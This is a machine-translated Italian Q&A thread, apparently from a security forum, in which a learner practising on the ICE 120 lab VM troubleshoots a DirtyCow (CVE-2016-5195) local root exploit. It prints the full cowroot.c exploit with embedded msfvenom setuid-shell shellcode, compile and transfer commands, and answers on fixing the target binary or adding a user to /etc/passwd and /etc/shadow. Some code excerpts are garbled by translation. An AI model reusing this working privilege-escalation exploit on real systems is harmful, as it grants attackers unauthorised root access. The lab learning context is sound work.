DirtyCow Vulnerabilità exploit in immagine ICE 120

3

Sto cercando di imparare i test di penetrazione. Mentre imparavo stavo cercando di praticare anche da solo. Avevo trovato un'immagine vulnerabile denominata ICE 120 in Internet, un'applicazione Web vulnerabile e in grado di ottenere nomi utente e hash per il sistema dopo l'utilizzo di SQL injection.

Ora, mentre mi collegavo a quel sistema con un utente non privilegiato, stavo tentando di estendere il privilegio usando la vulnerabilità di dirtycow CVE-2016-5195.

Trovate le seguenti informazioni sul kernel e un codice di esempio che stavo usando da github, ma sembra che non funzioni. Dato che sono un principiante, apprezzerei molto la tua guida per capire se sto facendo qualcosa di sbagliato o che il kernel non è affatto sfruttabile. Si prega di notare che sto usando l'immagine della macchina virtuale per esercitarmi.

Victim Kernel:

/home/jdavenport >>uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
/home/jdavenport >>

Sto usando il codice seguente di github (ho provato poche altre varianti di github che usano lo stesso concetto di dirtycow). Ho compilato questo codice in realtà in macchina Kali (un'altra macchina virtuale nel mio laboratorio di test come macchina attaccante) usando "gcc -o cowroot cowroot.c -m32 -pthread" come la macchina della vittima stava lanciando qualche errore di compilazione per "tipo di struttura non valido ". Quindi ho usato scp per trasferire il codice binario del mio computer vittima.

scp cowroot [email protected]:/home/jdavenport/cowroot1

Per vostra informazione il mio Kali Kernel è il seguente

Linux kali 4.8.0-kali2-amd64 # 1 SMP Debian 4.8.15-1kali1 (2016-12-23) x86_64 GNU / Linux.

Il codice di Dirtycow che ho usato è il seguente:

/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/etc/passwd";

/*
* msfvenom -p linux/x64/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i

unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xe3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4e, 0x01, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x3c, 0x00, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27,
  0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73,
  0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72,
  0x69, 0x74, 0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74,
  0x69, 0x73, 0x65, 0x63, 0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62,
  0x61, 0x73, 0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 227;
*/

/*
* msfvenom -p linux/x86/exec CMD="echo '0' > /proc/sys/vm/dirty_writeback_centisecs;/bin/bash" PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xba, 0x00, 0x00, 0x00,
  0x20, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x3c, 0x00, 0x00, 0x00,
  0x65, 0x63, 0x68, 0x6f, 0x20, 0x27, 0x30, 0x27, 0x20, 0x3e, 0x20, 0x2f,
  0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f,
  0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62,
  0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63,
  0x73, 0x3b, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00,
  0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 186;


void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}

Dopo aver eseguito il codice, viene semplicemente completato senza aprire nuove shell o altro.

/home/jdavenport >>./cowroot1 
DirtyCow root privilege escalation
Backing up /etc/passwd to /tmp/bak
Size of binary: 3372
Racing, this may take a while..
thread stopped
thread stopped

* Aggiornamento 08/04/2017 * Come consigliato da Josh, ora ho modificato il programma c di cowroot con il binario SUID corretto che ha anche il permesso di lettura per gli utenti non privilegiati.

jdavenport@slax:/usr/bin$ ls -lrt kcheckpass
-rwsr-xr-x 1 root root 10104 Oct 26  2008 kcheckpass*

Ancora non sono in grado di sfruttare la vulnerabilità. Nella mia mente ci potrebbero essere un paio di motivi -

  • Il kernel non è vulnerabile

La mia tesi è che la versione del kernel mostra che dovrebbe essere vulnerabile

jdavenport@slax:/usr/bin$ uname -a
Linux slax 2.6.27.27 #1 SMP Wed Jul 22 07:27:34 AKDT 2009 i686 Intel(R) Core(TM) i7-3630QM CPU @ 2.40GHz GenuineIntel GNU/Linux
jdavenport@slax:/usr/bin$ 

- Il codice exploit non funziona come previsto.

  • Penso di aver trovato una ragione ed è legato alla discussione.

  • Ho letto il concetto di copia sporca sull'uso di scrittura e sembra che dipende completamente dalle condizioni di gara a causa di due simultanei thread che cercano di funzionare (madvise e scrittura privata) sul file.

  • Ho modificato il programma C per stampare all'interno dei thread e reindirizzato a un file di registro per un'analisi successiva. Un estratto è il seguente:

    void * madviseThread (void * arg) {     char str;     str = (char ) arg;     int i, c = 0;     per (i = 0; i < 10000000 & &! stop; i ++) {         c + = madvise (cartina, 100, MADV_DONTNEED);     printf ("t1 = >% d \ n", c);     }     printf ("thread stopped \ n"); }

    void * procselfmemThread (void * arg) {     char str;     str = (char ) arg;     int f = open ("/ proc / self / mem", O_RDWR);     int i, c = 0;     per (i = 0; i < 10000000 & &! stop; i ++) {         lseek (f, mappa, SEEK_SET);         c + = write (f, str, sc_len);     printf ("t2 = >% d \ n", c);     }     printf ("thread stopped \ n"); }

    - Durante l'analisi dei log, sembra che i thread stiano lavorando in un cluster modo per es. mazzo di esecuzione del thread 1 e quindi un gruppo di esecuzione del thread 2. Un esempio: mentre il conteggio della prima occorrenza del thread 2 viene trovato dopo 35142 linee

    root @ kali: ~ # grep -n "t2 = > -1" cowlog.txt | capo -10

    35413: t2 = > -1 35422: t2 = > -10 35423: t2 = > -11 35424: t2 = > -12 35425: t2 = > -13 35426: t2 = > -14 35427: t2 = > -15 35428: t2 = > -16 35429: t2 = > -17 35430: t2 = > -18

  • La mia versione GCC da cui ho compilato il codice è la seguente

    root @ kali: ~ # gcc --versione

    gcc (Debian 6.3.0-11) 6.3.0 20170321 Copyright (C) 2016 Free Software Foundation, Inc. Questo è software libero; vedere la fonte per le condizioni di copia. Non c'è garanzia; nemmeno per COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO.

    root @ kali: ~ #

E ho compilato il mio programma usando il sotto

gcc -o cowroot cowroot.c -m32 -pthread

Il tuo consiglio di esperti sarebbe molto apprezzato.

    
posta Sourish Banerjee 08.04.2017 - 00:37
fonte

3 risposte

1

Hai provato una delle altre varianti di dirtycow? Se pensi che il problema si trovi con il poc potresti potenzialmente escluderlo provando altri poc che stanno sfruttando lo stesso vuln. Non è necessario generare una shell per diventare root, puoi sempre aggiungere un nuovo account utente a / etc / passwd e / etc / shadow.

    
risposta data 09.04.2017 - 03:37
fonte
4

Il binario suid dovrebbe essere il file binario passwd, non il file passwd. Scrivi "quale passwd" e imposta il tuo array di caratteri suid_binary sul percorso completo di passwd.

    
risposta data 08.04.2017 - 02:56
fonte
0

Grazie per le tue indicazioni, ho finalmente sfruttato con successo la vulnerabilità nel mio computer di destinazione.

Ho usato altri modi (POC) di sfruttare la stessa vulnerabilità dal link github sottostante

https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54 

Ho modificato di conseguenza il nome file binario SUID e lo shellcode a 32 bit non commentato.

E dopo averlo compilato con -m32 flag (perché il mio obiettivo era 32 bit) e la mia macchina attacker era a 64 bit.

Tuttavia, non sono ancora chiaro il motivo per cui i miei precedenti tentativi fallirono, lo esaminerò una volta che avrò più informazioni su questo argomento.

Fino ad allora supporrò di aver trovato la soluzione (in un modo o nell'altro), grazie per i tuoi consigli e indicazioni rapidi.

Saluti, Acidulo

    
risposta data 11.04.2017 - 13:03
fonte

Leggi altre domande sui tag